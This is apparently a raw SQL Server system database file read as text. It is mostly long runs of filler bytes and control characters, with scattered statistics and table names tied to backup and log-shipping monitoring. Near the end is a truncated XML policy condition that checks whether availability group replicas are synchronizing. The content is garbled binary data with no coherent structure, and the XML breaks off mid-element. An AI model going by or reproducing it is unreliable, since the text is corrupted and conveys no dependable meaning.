!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*("8R`
ZP(^8!!!!`~	Z6
Uv,6<B_WA_Sys_00000004_0000003C6^B_WA_Sys_00000004_0000005E6`B_WA_Sys_00000004_000000606x.P	B_WA_Sys_00000004_15502E786]!B_WA_Sys_00000004_21B6055D6eQB_WA_Sys_00000004_5165187F6B_WA_Sys_00000005_000000186B_WA_Sys_00000005_0000001B6B_WA_Sys_00000005_0000001D6<B_WA_Sys_00000005_0000003C6@B_WA_Sys_00000005_000000406KB_WA_Sys_00000005_0000004B6x.PB_WA_Sys_00000005_15502E786]!B_WA_Sys_00000005_21B6055D6eQB_WA_Sys_00000005_5165187F6B_WA_Sys_00000006_000000186B_WA_Sys_00000006_0000001D6"B_WA_Sys_00000006_000000226)B_WA_Sys_00000006_000000296x.PB_WA_Sys_00000006_15502E786'B_WA_Sys_00000006_1C1D27986AB_WA_Sys_00000006_1CDC41A76]!B_WA_Sys_00000006_21B6055D6B_WA_Sys_00000007_0000001D6
B_WA_Sys_00000007_0AF29B966x.PB_WA_Sys_00000007_15502E786'B_WA_Sys_00000007_1C1D27986]!B_WA_Sys_00000007_21B6055D6"B_WA_Sys_00000008_000000226x.PB_WA_Sys_00000008_15502E786'B_WA_Sys_00000008_1C1D27986KB_WA_Sys_00000008_7F4BDEC06"B_WA_Sys_00000009_000000226x.PB_WA_Sys_00000009_15502E786'B_WA_Sys_00000009_1C1D27986B_WA_Sys_0000000A_0000001B6x.PB_WA_Sys_0000000A_15502E786)B_WA_Sys_0000000B_000000296x.PB_WA_Sys_0000000B_15502E786x.PB_WA_Sys_0000000C_15502E786AB_WA_Sys_0000000C_1CDC41A76AB_WA_Sys_0000000D_1CDC41A76)B_WA_Sys_0000000E_000000296I>:backupmediafamilyuuid6T<4backupmediasetuuid6wB*backupsetDate6wB*backupsetuuid6wd<ByAlertIDAndOperatorID6HaByID6ȃcByID6HaByName6ȃcByName6|(ci_commit_ts6cl6cl6cl6cl6cl6*cl6+cl6.cl6/cl60cl6Hcl6Icl6Ncl6Pcl6Tcl6[cl6\cl6]cl6^cl6_cl6clst6clst6	clst6clst6clst6clst6clst6clst6AB_WA_Sys_00000004_1CDC41A76s{FB_WA_Sys_00000004_46D27B736KB_WA_Sys_00000009_7F4BDEC06AB_WA_Sys_00000008_1CDC41A76A	B_WA_Sys_0000000E_1CDC41A76(CB_WA_Sys_00000004_4316F9286"B_WA_Sys_0000000A_000000226=7Dc1lsmonitor_history_detail6a8@c1lsmonitor_error_detail!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<$lXD0





|
h
T
@
,


"ft8v\4

n
,
		f	$	^VNF>x6p.hT&`_Pq

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!vk`"\P

pq\==`WAlwaysOnAgReplicasDataSynchronizationHealthConditionsa<Operator>

		  <TypeClass>Bool</TypeClass>

		  <OpType>EQ</OpType>

		  <Count>2</Count>

		  <Attribute>

			<TypeClass>Numeric</TypeClass>

			<Name>NumberOfNotSynchronizingReplicas</Name>

		  </Attribute>

		  <Constant>

			<TypeClass>Numeric</TypeClass>

			<ObjType>System.Double</ObjType>

			<Value>0</Value>

		  </Constant>

	</Operator>'pq\q\=[AlwaysOnAgReplicasDataSynchronizationHealthConditionsasa<Operator>

